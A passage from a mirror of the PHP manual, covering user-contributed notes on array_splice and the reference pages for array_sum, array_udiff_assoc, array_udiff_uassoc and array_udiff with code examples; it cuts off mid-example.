        $replacement=(array)$replacement;
        $rKeys=array_Keys($replacement);
        $rValues=array_Values($replacement);
    }

    $start=array_Search($start,$keys,true);
    if($start===false)
        return false;

    // optional arguments
    if($replacement!==null)
    {
        array_Splice($keys,$start,$length,$rKeys);
        array_Splice($values,$start,$length,$rValues);
    }
    else
    {
        array_Splice($keys,$start,$length);
        array_Splice($values,$start,$length);
    }

    $input=array_Combine($keys,$values);

    return $input;
}

$array=range(1,10);
var_Dump(array_KSplice1($array,3,3,array(100=>101,102,103,104)));

$array=range(1,10);
var_Dump(array_KSplice2($array,3,3,array(100=>101,102,103,104)));

?>

Both examples output:
array(11) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
  [100]=>
  int(101)
  [101]=>
  int(102)
  [102]=>
  int(103)
  [103]=>
  int(104)
  [6]=>
  int(7)
  [7]=>
  int(8)
  [8]=>
  int(9)
  [9]=>
  int(10)
}
madmax at max-worlds dot net 24-Sep-2008 03:23
Note:  If replacement is not an array, it will be typecast to one (i.e. (array) $parameter). This may result in unexpected behavior when using an object replacement .

Example :

<?php
class A()
{
    private $a;
    private $b;
    public function __construct()
    {
        $this->a = "foo";
        $this->b = "bar";
    }
}

$array = array();
array_splice($array, 0, 0, new A());
print_r($array);
?>

Outputs :

Array : Array
{
    [0] => foo
    [1] => bar
}

Solution : Enforce the array() on the object.

<?php
array_splice($array, 0, 0, array(new Object());
?>

Source : http://bugs.php.net/bug.php?id=44485
loushou - life dot 42 at gmail dot com 28-Jul-2008 01:39
i miss posted the actual function...
here is the real one lol

<?php

function q_sort(&$Info, $Index, $Left, $Right)
{
  echo "memory usage <b>".memory_get_usage()."</b><br/>\n";
  $L_hold = $Left;
  $R_hold = $Right;
  $Pivot = $Left;
  $PivotValue = $Info[$Left];
  while ($Left < $Right)
  {
    while (($Info[$Right][$Index] >= $PivotValue[$Index]) && ($Left < $Right))
      $Right--;
    if ($Left != $Right)
    {
      $Info[$Left] = $Info[$Right];
      $Left++;
    }
    while (($Info[$Left][$Index] <= $PivotValue[$Index]) && ($Left < $Right))
      $Left++;
    if ($Left != $Right)
    {
      $Info[$Right] = $Info[$Left];
      $Right--;
    }
  }
  $Info[$Left] = $PivotValue;
  $Pivot = $Left;
  $Left = $L_hold;
  $Right = $R_hold;
  if ($Left < $Pivot)
    q_sort($Info, $Index, $Left, $Pivot-1);
  if ($Right > $Pivot)
    q_sort($Info, $Index, $Pivot+1, $Right);
}

?>
Francis 27-Apr-2008 09:27
Do you need to sort a 2D array on just one of its variables while trying to preserve somewhat the original order?

<?php

function sort_2d_array($array, $position, $order = "ASC"){
  if (!is_array($array)) return $array;
  if (count($array) < 2) return $array;
  $new = array($array[0]);
  for ($cnt = 1; $cnt <= count($array) - 1; $cnt++){
    $stop = 0;
    $splice = 0;
    for ($newcnt = 0; $newcnt <= count($new) - 1; $newcnt++){
      if ($stop == 0){
        if ($order == "ASC")
        if ($array[$cnt][$position] < $new[$newcnt][$position]){
          $splice = $newcnt;
          $stop = 1;
        } // splice position for ASC
        if ($order == "DESC")
        if ($array[$cnt][$position] > $new[$newcnt][$position]){
          $splice = $newcnt;
          $stop = 1;
        } // splice position for DESC
      } // stop vying for position
    } // cycle through new array to find position
    if ($stop == 0){
      $new[] = $array[$cnt];
    } else {
      array_splice($new, $splice, 0, array($array[$cnt]));
    } // splice into new array while keeping somewhat the original order
  } // cycle through original array
  return $new;
} // sort_2d_array

?>

Application Example: In-House Search Engine
Here we are trying to find the word apple in the website by sort of the most recent occurances first, but the number of occurances first.

We've already sorted the mysql output by the date desc and have counted the no of occurances and have placed those in an array for the final query.

I've used this function to further sort the occurances but somewhat keep the original mysql sort order.

Key
[0] Record number
     [0] Record ID
     [1] Source Table
     [2] No of Occurances Pinged

  ---------------------------

[0]
     [0] 24530
     [1] Blogs
     [2] 1

[1]
     [0] 24400
     [1] Blogs
     [2] 1

[2]
     [0] 24240
     [1] Blogs
     [2] 4

[3]
     [0] 243422
     [1] Classifieds
     [2] 1

[4]
     [0] 243100
     [1] Classifieds
     [2] 1

After running...

<?php
sort_2d_array($array, 2, "DESC");
?>

We have...

[0]
     [0] 24240
     [1] Blogs
     [2] 4

[1]
     [0] 24530
     [1] Blogs
     [2] 1

[2]
     [0] 24400
     [1] Blogs
     [2] 1

[3]
     [0] 243422
     [1] Classifieds
     [2] 1

[4]
     [0] 243100
     [1] Classifieds
     [2] 1

Might be useful to someone...
pauljamescampbell at gmail dot com 06-Feb-2008 03:46
Here's my own take on an array slice method that preserves keys from an associative array.

<?php
/**
 * Array slice function that preserves associative keys
 *
 * @function associativeArraySlice
 *
 * @param  Array  $array  Array to slice
 * @param  Integer  $start
 * @param  Integer  $end
 *
 * @return  Array
 */
function associativeArraySlice($array, $start, $end) {
    // Method param restrictions
    if($start < 0) $start = 0;
    if($end > count($array)) $end = count($array);

    // Process vars
    $new = Array();
    $i = 0;

    // Loop
    foreach($array as $key => $value) {
        if($i >= $start && $i < $end) {
            $new[$key] = $value;
        }
        $i++;
    }
    return($new);
}
?>
mip at ycn dot com 08-Mar-2007 02:37
Ever wounder what array_splice is doing to your references, then try this little script and see the output.

<?php

$a = "a";
$b = "b";
$c = "c";
$d = "d";
$arr = array();
$arr[] =& $a;
$arr[] =& $b;
$arr[] =& $c;
array_splice($arr,1,0,array($d));
$sec_arr = array();
$sec_arr[] =& $d;
array_splice($arr,1,0,$sec_arr);

$arr[0] = "test"; // should be $a
$arr[3] = "test2"; // should be $b
$arr[1] = "this be d?"; // should be $d
$arr[2] = "or this be d?"; // should be $d
var_dump($arr);
var_dump($a);
var_dump($b);
var_dump($d);
?>

The output will be (PHP 4.3.3):

array(5) {
  [0]=>
  &string(4) "test"
  [1]=>
  &string(10) "this be d?"
  [2]=>
  string(13) "or this be d?"
  [3]=>
  &string(5) "test2"
  [4]=>
  &string(1) "c"
}
string(4) "test"
string(5) "test2"
string(10) "this be d?"

So array_splice is reference safe, but you have to be careful about the generation of the replacement array.

have fun, cheers!
ahigerd at stratitec dot com 24-Jan-2007 03:07
A comment on array_merge mentioned that array_splice is faster than array_merge for inserting values. This may be the case, but if your goal is instead to reindex a numeric array, array_values() is the function of choice. Performing the following functions in a 100,000-iteration loop gave me the following times: ($b is a 3-element array)

array_splice($b, count($b)) => 0.410652
$b = array_splice($b, 0) => 0.272513
array_splice($b, 3) => 0.26529
$b = array_merge($b) => 0.233582
$b = array_values($b) => 0.151298
bdjumakov at gmail dot com 31-Aug-2006 09:11
Someone might find this function usefull. It just takes a given element from the array and moves it before given element into the same array.

<?php
function array_move($which, $where, $array)
{
    $tmp  = array_splice($array, $which, 1);
    array_splice($array, $where, 0, $tmp);
    return $array;
}
?>
Paul 12-Feb-2006 07:06
In PHP 4.3.10, at least, it seems that elements that are inserted as part of the replacement array are inserted BY REFERENCE (that is, as though with the =& rather than = assignment operation). So if your replacement array contains elements that references to variables that you can also access via other variable name, then this will be true of the elements in the final array too.

In particular, this means that it is safe to use array_splice() on arrays of objects, as you won't be creating copies of the objects (as it is so easy to do in PHP 4).
weikard at gmx dot de 15-Sep-2005 02:53
You cannot insert with array_splice an array with your own key. array_splice will always insert it with the key "0".

<?php
// [DATA]
$test_array = array (
  row1 => array (col1 => 'foobar!', col2 => 'foobar!'),
  row2 => array (col1 => 'foobar!', col2 => 'foobar!'),
  row3 => array (col1 => 'foobar!', col2 => 'foobar!')
);

// [ACTION]
array_splice ($test_array, 2, 0, array ('rowX' => array ('colX' => 'foobar2')));
echo '<pre>'; print_r ($test_array); echo '</pre>';
?>

[RESULT]

Array (
    [row1] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )

    [row2] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )

    [0] => Array (
            [colX] => foobar2
        )

    [row3] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )
)

But you can use the following function:

function array_insert (&$array, $position, $insert_array) {
  $first_array = array_splice ($array, 0, $position);
  $array = array_merge ($first_array, $insert_array, $array);
}

<?php
// [ACTION]

array_insert ($test_array, 2, array ('rowX' => array ('colX' => 'foobar2')));
echo '<pre>'; print_r ($test_array); echo '</pre>';
?>

[RESULT]

Array (
    [row1] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )

    [row2] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )

    [rowX] => Array (
            [colX] => foobar2
        )

    [row3] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )
)

[NOTE]

The position "0" will insert the array in the first position (like array_shift). If you try a position higher than the langth of the array, you add it to the array like the function array_push.
csaba at alum dot mit dot edu 13-Aug-2005 11:31
Appending arrays
If you have an array $a2 whose values you would like to append to an array $a1 then four methods you could use are listed below in order of increasing time.  The last two methods took significantly more time than the first two.  The most surprising lesson is that using the & incurs a time hit.

<?php
foreach ($a2 as $elem) $a1[]=$elem;
foreach ($a2 as &$elem) $a1[]=$elem;
array_splice ($a1, count($a1), 0, $a2);
$a1 = array_merge($a1, $a2);
?>

Csaba Gabor from Vienna
randomdestination at gmail dot com 22-Jul-2005 10:52
To split an associative array based on it's keys, use this function:

<?php
function &array_split(&$in) {
    $keys = func_get_args();
    array_shift($keys);

    $out = array();
    foreach($keys as $key) {
        if(isset($in[$key]))
            $out[$key] = $in[$key];
        else
            $out[$key] = null;
        unset($in[$key]);
    }

    return $out;
}
?>

Example:
<?php
$testin = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4);
$testout =& array_split($testin, 'a', 'b', 'c');

print_r($testin);
print_r($testout);
?>

Will print:

Array
(
    [d] => 4
)
Array
(
    [a] => 1
    [b] => 2
    [c] => 3
)

Hope this helps anyone!
gideon at i6developments dot com 18-Jul-2004 06:45
array_splice dynamically updates the total number of entries into the array. So for instance I had a case where I needed to insert a value into every 4th entry of the array from the back. The problem was when it added the first, because the total number was dynamically updated, it would only add after the 3rd then the 2nd and so one. The solution I found is to track the number of inserts which were done and account for them dynamically.

Code:
<?php
    $modarray = array_reverse($mili);
    $trig=1;
        foreach($modarray as $rubber => $glue) {
            if($rubber!="<BR>") {
            $i++;
            $b++;
            if ($i==4) {
                $trig++;
                if($trig<=2) {
                array_splice($modarray,$b,0,"<BR>");
                }elseif($trig>=3){
                array_splice($modarray,$b+($trig-2),0,"<BR>");
                }
                $i=0;
                };
                };
        };
    $fixarray = array_reverse($modarray);

?>
rolandfoxx at yahoo dot com 30-Mar-2004 09:16
Be careful, array_splice does not behave like you might expect should you try to pass it an object as the replacement argument.  Consider the following:

<?php
//Very truncated
class Tree {
  var $childNodes

  function addChild($offset, $node) {
    array_splice($this->childNodes, $offset, 0, $node);
    //...rest of function
  }

}

class Node {
  var $stuff
  ...
}

$tree = new Tree();
// ...set 2 nodes using other functions...
echo (count($tree->childNodes)); //Gives 2
$newNode = new Node();
// ...set node attributes here...
$tree->addChild(1, $newNode);
echo(count($tree->childNodes)); //Expect 3?  wrong!
?>

In this case, the array has a number of items added to it equal to the number of attributes in the new Node object and the values thereof  I.e, if your Node object has 2 attributes with values "foo" and "bar", count($tree->childNodes) will now return 4, with the items "foo" and "bar" added to it.  I'm not sure if this qualifies as a bug, or is just a byproduct of how PHP handles objects.

Here's a workaround for this problem:
function array_insertobj(&$array, $offset, $insert) {
  $firstPart = array_slice($array, 0, $offset);
  $secondPart = array_slice($array, $offset);
  $insertPart = array($insert);
  $array = array_merge($firstPart, $insertPart, $secondPart);
}

Note that this function makes no allowances for when $offset equals the first or last index in the array.  That's because array_unshift and array_push work just fine in those cases.  It's only array_splice that can trip you up.  Obviously, this is kinda tailor-made for arrays with numeric keys when you don't really care what said keys are, but i'm sure you could adapt it for associative arrays if you needed it.
kbrown at horizon dot sk dot ca 11-Aug-2003 09:40
[ Editor's Note: If you're not concerned with the indexes being contiguously numbered (such as for an associative array) then unset($ar[$ind]); will accomplish the same as the code below without requiring splice/splice/merge.  If contiguous numbering IS a concern (such as for indexed arrays), you can still save time by using: unset($ar[$ind]); $ar = array_values($ar); ]

Removing elements from arrays

This works better - much quicker

<?php
$ar = array("einstein", "bert", "colin", "descartes", "renoir");
$a = array_slice($ar, 0, $ind);
$b = array_slice($ar, $ind + 1);
$ar = array_merge($a, $b);
?>
plintus at smtp dot ru 14-Apr-2003 10:59
key-safe:

<?php
function array_kslice ($array, $offset, $length = 0) {
$k = array_slice (array_keys ($array), $offset, $length);
$v = array_slice (array_values ($array), $offset, $length);
for ($i = 0; $i < count ($k); $i ++) $r[$k[$i]] = $v[$i];
return $r;
}
?>

smth like this. hope you like it more than versions above :)
tsunaquake DOESNTLIKESPAM @ wp DOT pl 11-Nov-2002 07:56
It is possible to use a string instead of offset, eg if you want to deletre the entry $myArray['entry'] then you can simply do it like this:

<?php
array_splice($myArray, 'entry', 1);
?>

Note that you can use unset($myArray['entry']) as well but then, it doesn't enable you to remove more than one entry and it doesn't replace anything in the array, if that's what you intend to do.
19-Jun-2002 04:14
Please note that array_splice() 's second argument is an OFFSET and not an INDEX.

Lets say you want to
$array_of_items = array ('nothing','myitem','hisitem','heritem');
$sid = array_search('myitem',$array_of_items);
echo $sid; /* prints out 1, since index element 1 is "myitem" */

Now, lets say we want to remove that "myitem" from the array:

<?php
$array_of_items = array_splice($array_of_items,(1+$sid),1);
?>

Notice how you have to add a one to the $sid variable?  That is because offset item 1 is "nothing" and since $sid is currently 1 (the index of "myitem"), we add 1 more to it to find out
 its OFFSET.

DO NOT DO THIS:
 $array_of_items = array_splice($array_of_items,$sid,1);
paule at cs dot tamu dot edu 12-Jun-2002 06:59
to kokos@lac.lviv.ua:

Good point about the code not doing what you expected.

The failure to check for the insert case like you pointed out is not a bug, however. I didn't add code to handle that because the key of such an added index is more or less undefined in an unordered associative array. Put another way, if your array is associative and not auto-indexed, you most likely care enough about your keys to want to set them explicitly.
paule at cs dot tamu dot edu 07-Jun-2002 08:09
After reading KoKos' post above, I thought that the code I posted right before his should do what he wanted. However, my original post neglected to note the little "Tip" in the documentation above, about a single element replacement.

If one changes the lines in my code above that says:

<?php
                if(is_array($replacement))
                    foreach($replacement as $r_key=>$r_value)
                        $new_array[$r_key]=$r_value;
?>

to instead say:

<?php
                if(is_string($replacement))
                    $new_array[$key]=$replacement;
                elseif(is_array($replacement))
                    foreach($replacement as $r_key=>$r_value)
                        $new_array[$r_key]=$r_value;
?>

that will solve the problem.

Sorry for the omission.
kokos at lac dot lviv dot ua 07-Jun-2002 05:26
It may seem obvious from the above posts, but cost me a bit of
braindamage to figure this out...

Contrary to the equivalence noted on this page
$input[$x] = $y   <==>   array_splice ($input, $x, 1, $y)
array_splice() will not always work as expected,
even provided that you have only INTEGER keys!

The following code:
   $t=array('a','b','c','d','e');
   var_dump($t);

<?php
   unset($t[0],$t[1],$t[3]);
   $t[0]='f';
   var_dump($t);

   array_splice($t,0,1,'g');
   var_dump($t);
?>

Will produce:
array(5) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
  [3]=>
  string(1) "d"
  [4]=>
  string(1) "e"
}
array(3) {
  [2]=>
  string(1) "c"
  [4]=>
  string(1) "e"
  [0]=>
  string(1) "f"
}
array(3) {
  [0]=>
  string(1) "g"
  [1]=>
  string(1) "e"
  [2]=>
  string(1) "f"
}

Note the position of $t[0] in the second call to var_dump().
And of course, array_splice() left it intact, changing $t[2] instead.
This is because it operates the _offset_, not the _index_.  :)
I think that "equivalence note" should be considered buggy.  ;)))

Best wishes.
KoKos.
jrhardytwothousandtwo at yahoo dot com 15-Feb-2002 08:54
A reference is made to INSERT'ing into an array here with array_splice, however its not explained very well.  I hope this example will help others find what took me days to research.

<?php
$original_array = array(1,2,3,4,5);
$insert_into_key_position = 3;
$item_to_insert = "blue";

$returned = array_splice($original_array, $insert_into_key_position, 0, $item_to_insert);

// $original_array will now show:

// 1,2,3,blue,4,5
?>

Remember that you are telling the array to insert the element into the KEY position.  Thus the elements start with key 0 and so on 0=>1, 1=>2, 2=>3, 3=>blue, 4=>4, 5=>5.  And walla, you've inserted.  I can't say if this is of any value for named keys, or multidimensional arrays.  However it does work for single dimensional arrays.

$returned should be an empty array as nothing was returned.  This would have substance if you were doing a replace instead.
leingang AT math DOT rutgers DOT edu 16-Jan-2002 04:32
array_splice resets the internal pointer of $input.  In fact, many array functions do this.  Caveat programmor!


Calculate the sum of values in an array

  • « array_splice
  • array_udiff_assoc »
  • PHP Manual
  • Array Functions
  • Calculate the sum of values in an array

array_sum

(PHP 4 >= 4.0.4, PHP 5)

array_sum — Calculate the sum of values in an array

Description

number array_sum ( array $array )

array_sum() returns the sum of values in an array.

Parameters

array

The input array.

Return Values

Returns the sum of values as an integer or float.

Examples

Example #1 array_sum() examples

<?php
$a = array(2, 4, 6, 8);
echo "sum(a) = " . array_sum($a) . "\n";

$b = array("a" => 1.2, "b" => 2.3, "c" => 3.4);
echo "sum(b) = " . array_sum($b) . "\n";
?>

The above example will output:

sum(a) = 20
sum(b) = 6.9

User Contributed Notes

didatus at dynarize dot de 21-Sep-2014 06:21
If you want to check if there are for example only strings in an array, you can use a combination of array_sum and array_map like this:

<?php

function only_strings_in_array($arr) {
    return array_sum(array_map('is_string', $arr)) == count($arr);
}

$arr1 = array('one', 'two', 'three');
$arr2 = array('foo', 'bar', array());
$arr3 = array('foo', array(), 'bar');
$arr4 = array(array(), 'foo', 'bar');

var_dump(
    only_strings_in_array($arr1),
    only_strings_in_array($arr2),
    only_strings_in_array($arr3),
    only_strings_in_array($arr4)
);
?>

This will give you the following result:
bool(true)
bool(false)
bool(false)
bool(false)
hdeus at yahoo dot com 06-Oct-2008 04:01
Here is how you can multiply two arrays in the form of matrixes using a bit of matrix algebra (M*M).
By calling the function multiplyMatrix, you will be multiplying two sparse matrixes (zeros need not be included in the array for the operation to be performed).

<?php
$M = array(
0=>array(1=>1,4=>1),
1=>array(2=>1,3=>1),
3=>array(1=>1),
4=>array(5=>1),
5=>array(6=>1)
);

$M1 = multiplyMatrix($M, $M); //multiplying $M by itself

echo '<pre>';print_r($M1);echo '</pre>';

function multiplyMatrix($M1, $M2)
    {
#Helena F Deus, Oct 06, 2008
##Multiply two matrixes; $M1 and $M2 can be sparse matrixes, the indexes on both should match
        if(is_file($M1)) {$matrix1 = unserialize(file_get_contents($M1));}
        else $matrix1 = $M1;

        #transpose M2
        $M2t = transpose($M2);

        foreach ($M2t as $row=>$tmp) {
            ##sum the result of the value in the col multiplied by the value in the vector on the corresponding row

                foreach ($M1 as $row1=>$tmp1) {

                    $multiply[$row1] = array_rproduct($tmp,$tmp1);

                    if(!$multiply[$row1]){
                          exit;
                        }
                }

                foreach ($multiply as $row1=>$vals) {

                    $sum[$row][$row1]=array_sum($vals);
                }

        }

    $r=transpose($sum);

    return ($r);
    }

function transpose($M)
{
foreach ($M as $row=>$cols) {

            foreach ($cols as $col=>$value) {
                 if($value)
                 $Mt[$col][$row]=$value;
            }
        }
        ksort($Mt);

return ($Mt);
}

function array_rproduct($a1, $a2)
{

    foreach ($a1 as $line=>$cols) {
        $a3[$line] = $a1[$line]*$a2[$line];
        foreach ($a2 as $line2=>$cols2) {
            $a3[$line2] = $a1[$line2]*$a2[$line2];
        }
    }
    ksort($a3);

    return ($a3);

}

?>
herenvardo at gmail dot com 25-Nov-2006 12:28
I'm not sure if something similar already exists, but I needed it so I made it:
<?php
  /* Performs a pitagoric sum of the elements in $arr
   The pitagoric sum of a set of values is the square root of
   the sum of the sqare power of each value. So, for a, b, c
   it's sqrt(a^2 + b^2 + c^2) */
  /* If any element of $arr is an array itself, the array_sum
   will be used. Alternatively, the values could be used by
   recursion. Returns the integer part (floor) */
  function array_pitag_sum($arr) {
    if(is_array($arr) {
      $ret = 0;
      foreach($arr as $i) {
        if(is_array($i)) {
          $s = array_sum($i);
          $ret += $s*$s;
        } else {
          $ret += $i*$i;
        }
      }
      return floor(sqrt($ret));
    } else {
      return $arr;
    }
  }
?>
punchto at hotmail dot com 16-Mar-2005 04:06
Microsoft Excel - SUMIF()

function sumif($array,$criteria,$sum_array){
  if(is_array($array) && is_array($sum_array) && trim($criteria)!= ""){
    $array_count = (count($array) < count($sum_array)) ? count($array):count($sum_array);
    for($i=0;$i<$array_count;$i++){
      if(ereg("^<",$criteria)){
        $value = ereg_replace("^<","",$criteria);
        $result += $array[$i] < $value ? $sum_array[$i]:0;
      }
      elseif(ereg("^>",$criteria)){
        $value = ereg_replace("^>","",$criteria);
        $result += $array[$i] > $value ? $sum_array[$i]:0;
      }
      else{
        $value = $criteria;
        $result += $array[$i] == $value ? $sum_array[$i]:0;
      }

    }
    return $result ? $result:0;
  }
}
ncheung at maine dot rr dot com 08-Feb-2005 03:02
For clarity, array indices containing boolean values such as TRUE and FALSE are added up as though they are 1 and 0 respectively.
mucello NOO SPAM @ weatherimages dOt org 23-Oct-2003 12:44
If you want to find the AVERAGE of the values in your array, use the sum and count functions together.  For example, let's say your array is $foo and you want the average...

<?php
$average_of_foo = array_sum($foo) / count($foo);
?>
drverieevil at REMOVEMEasenne dot org 30-Jul-2003 12:14
If some array elements arent integers, function will change them to integers (content of array will not change) type and then sum them.

Example:
<?php
$foo[] = "12";
$foo[] = 10;
$foo[] = "bar";
$foo[] = "summer";
echo array_sum ($foo); //same as echo "22";
?>


Computes the difference of arrays with additional index check, compares data by a callback function

  • « array_sum
  • array_udiff_uassoc »
  • PHP Manual
  • Array Functions
  • Computes the difference of arrays with additional index check, compares data by a callback function

array_udiff_assoc

(PHP 5)

array_udiff_assoc — Computes the difference of arrays with additional index check, compares data by a callback function

Description

array array_udiff_assoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func )

Computes the difference of arrays with additional index check, compares data by a callback function.

Note: Please note that this function only checks one dimension of a n-dimensional array. Of course you can check deeper dimensions by using, for example, array_udiff_assoc($array1[0], $array2[0], "some_comparison_func");.

Parameters

array1

The first array.

array2

The second array.

value_compare_func

The comparison function must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

int callback ( mixed $a, mixed $b )

Return Values

array_udiff_assoc() returns an array containing all the values from array1 that are not present in any of the other arguments. Note that the keys are used in the comparison unlike array_diff() and array_udiff(). The comparison of arrays' data is performed by using an user-supplied callback. In this aspect the behaviour is opposite to the behaviour of array_diff_assoc() which uses internal function for comparison.

Examples

Example #1 array_udiff_assoc() example

<?php
class cr {
    private $priv_member;
    function cr($val)
    {
        $this->priv_member = $val;
    }

    static function comp_func_cr($a, $b)
    {
        if ($a->priv_member === $b->priv_member) return 0;
        return ($a->priv_member > $b->priv_member)? 1:-1;
    }
}

$a = array("0.1" => new cr(9), "0.5" => new cr(12), 0 => new cr(23), 1=> new cr(4), 2 => new cr(-15),);
$b = array("0.2" => new cr(9), "0.5" => new cr(22), 0 => new cr(3), 1=> new cr(4), 2 => new cr(-15),);

$result = array_udiff_assoc($a, $b, array("cr", "comp_func_cr"));
print_r($result);
?>

The above example will output:

Array
(
    [0.1] => cr Object
        (
            [priv_member:private] => 9
        )

    [0.5] => cr Object
        (
            [priv_member:private] => 12
        )

    [0] => cr Object
        (
            [priv_member:private] => 23
        )
)

In our example above you see the "1" => new cr(4) pair is present in both arrays and thus it is not in the output from the function.

See Also

  • array_diff() - Computes the difference of arrays
  • array_diff_assoc() - Computes the difference of arrays with additional index check
  • array_diff_uassoc() - Computes the difference of arrays with additional index check which is performed by a user supplied callback function
  • array_udiff() - Computes the difference of arrays by using a callback function for data comparison
  • array_udiff_uassoc() - Computes the difference of arrays with additional index check, compares data and indexes by a callback function
  • array_intersect() - Computes the intersection of arrays
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_uintersect() - Computes the intersection of arrays, compares data by a callback function
  • array_uintersect_assoc() - Computes the intersection of arrays with additional index check, compares data by a callback function
  • array_uintersect_uassoc() - Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions

User Contributed Notes

tmquang6805 at yahoo dot com 25-May-2014 06:54
Difference between array_udiff_assoc() and array_diff_assoc()

- array_udiff_assoc(): Compares the DATA with the user supplied callback function
- array_diff_assoc(): Compares the INDEX with the user supplied callback function
countzero1981 at gmail dot com 03-Sep-2013 08:32
What is the difference between array_udiff_assoc and array_diff_uassoc?


Computes the difference of arrays with additional index check, compares data and indexes by a callback function

  • « array_udiff_assoc
  • array_udiff »
  • PHP Manual
  • Array Functions
  • Computes the difference of arrays with additional index check, compares data and indexes by a callback function

array_udiff_uassoc

(PHP 5)

array_udiff_uassoc — Computes the difference of arrays with additional index check, compares data and indexes by a callback function

Description

array array_udiff_uassoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func , callable $key_compare_func )

Computes the difference of arrays with additional index check, compares data and indexes by a callback function.

Note that the keys are used in the comparison unlike array_diff() and array_udiff().

Parameters

array1

The first array.

array2

The second array.

value_compare_func

The comparison function must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

int callback ( mixed $a, mixed $b )
key_compare_func

The comparison of keys (indices) is done also by the callback function key_compare_func. This behaviour is unlike what array_udiff_assoc() does, since the latter compares the indices by using an internal function.

Return Values

Returns an array containing all the values from array1 that are not present in any of the other arguments.

Examples

Example #1 array_udiff_uassoc() example

<?php
class cr {
    private $priv_member;
    function cr($val)
    {
        $this->priv_member = $val;
    }

    static function comp_func_cr($a, $b)
    {
        if ($a->priv_member === $b->priv_member) return 0;
        return ($a->priv_member > $b->priv_member)? 1:-1;
    }

    static function comp_func_key($a, $b)
    {
        if ($a === $b) return 0;
        return ($a > $b)? 1:-1;
    }
}
$a = array("0.1" => new cr(9), "0.5" => new cr(12), 0 => new cr(23), 1=> new cr(4), 2 => new cr(-15),);
$b = array("0.2" => new cr(9), "0.5" => new cr(22), 0 => new cr(3), 1=> new cr(4), 2 => new cr(-15),);

$result = array_udiff_uassoc($a, $b, array("cr", "comp_func_cr"), array("cr", "comp_func_key"));
print_r($result);
?>

The above example will output:

Array
(
    [0.1] => cr Object
        (
            [priv_member:private] => 9
        )

    [0.5] => cr Object
        (
            [priv_member:private] => 12
        )

    [0] => cr Object
        (
            [priv_member:private] => 23
        )
)

In our example above you see the "1" => new cr(4) pair is present in both arrays and thus it is not in the output from the function. Keep in mind that you have to supply 2 callback functions.

Notes

Note: Please note that this function only checks one dimension of a n-dimensional array. Of course you can check deeper dimensions by using, for example, array_udiff_uassoc($array1[0], $array2[0], "data_compare_func", "key_compare_func");.

See Also

  • array_diff() - Computes the difference of arrays
  • array_diff_assoc() - Computes the difference of arrays with additional index check
  • array_udiff() - Computes the difference of arrays by using a callback function for data comparison
  • array_udiff_assoc() - Computes the difference of arrays with additional index check, compares data by a callback function
  • array_intersect() - Computes the intersection of arrays
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_uintersect() - Computes the intersection of arrays, compares data by a callback function
  • array_uintersect_assoc() - Computes the intersection of arrays with additional index check, compares data by a callback function
  • array_uintersect_uassoc() - Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions

User Contributed Notes

There are no user contributed notes for this page.


Computes the difference of arrays by using a callback function for data comparison

  • « array_udiff_uassoc
  • array_uintersect_assoc »
  • PHP Manual
  • Array Functions
  • Computes the difference of arrays by using a callback function for data comparison

array_udiff

(PHP 5)

array_udiff — Computes the difference of arrays by using a callback function for data comparison

Description

array array_udiff ( array $array1 , array $array2 [, array $... ], callable $value_compare_func )

Computes the difference of arrays by using a callback function for data comparison. This is unlike array_diff() which uses an internal function for comparing the data.

Parameters

array1

The first array.

array2

The second array.

value_compare_func

The callback comparison function.

The comparison function must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

int callback ( mixed $a, mixed $b )

Return Values

Returns an array containing all the values of array1 that are not present in any of the other arguments.

Examples

Example #1 array_udiff() example using stdClass Objects

<?php
// Arrays to compare
$array1 = array(new stdclass, new stdclass,
                new stdclass, new stdclass,
               );

$array2 = array(
                new stdclass, new stdclass,
               );

// Set some properties for each object
$array1[0]->width = 11; $array1[0]->height = 3;
$array1[1]->width = 7;  $array1[1]->height = 1;
$array1[2]->width = 2;  $array1[2]->height = 9;
$array1[3]->width = 5;  $array1[3]->height = 7;

$array2[0]->width = 7;  $array2[0]->height = 5;
$array2[1]->width = 9;  $array2[1]->height = 2;

function compare_by_area($a, $b) {
    $areaA = $a->width * $a->height;
    $areaB = $b->width * $b->height;

    if ($areaA < $areaB) {
        return -1;
    } elseif ($areaA > $areaB) {
        return 1;
    } else {
        return 0;
    }
}

print_r(array_udiff($array1, $array2, 'compare_by_area'));
?>

The above example will output:

Array
(
    [0] => stdClass Object
        (
            [width] => 11
            [height] => 3
        )

    [1] => stdClass Object
        (
            [width] => 7
            [height] => 1
        )

)

Example #2 array_udiff() example using DateTime Objects

<?php
Class MyCalendar {
    public $free = array();
    public $booked = array();

    public function __construct($week = 'now') {
        $start = new DateTime($week);
        $start->modify('Monday this week midnight');
        $end = clone $start;
        $end->modify('Friday this week midnight');
        $interval = new DateInterval('P1D');
        foreach (new DatePeriod($start, $interval, $end) as $freeTime) {
            $this->free[] = $freeTime;
        }
    }

    public function bookAppointment(DateTime $date, $note) {
        $this->booked[] = array('date' => $date->modify('midnight'), 'note' => $note);
    }

    public function checkAvailability() {
        return array_udiff($this->free, $this->booked, array($this, 'customCompare'));
    }

    public function customCompare($free, $booked) {
        if (is_array($free)) $a = $free['date'];
        else $a = $free;
        if (is_array($booked)) $b = $booked['date'];
        else $b = $booked;
        if ($a == $b) {
            return 0;
        } elseif ($a > $b) {
            return 1;
        } else {
            return -1;
        }
    }
}

// Create a calendar for weekly appointments
$myCalendar = new MyCalendar;

// Book some appointments for this week
$myCalendar->bookAppointment(new DateTime('Monday this week'), "Cleaning GoogleGuy's apartment.");
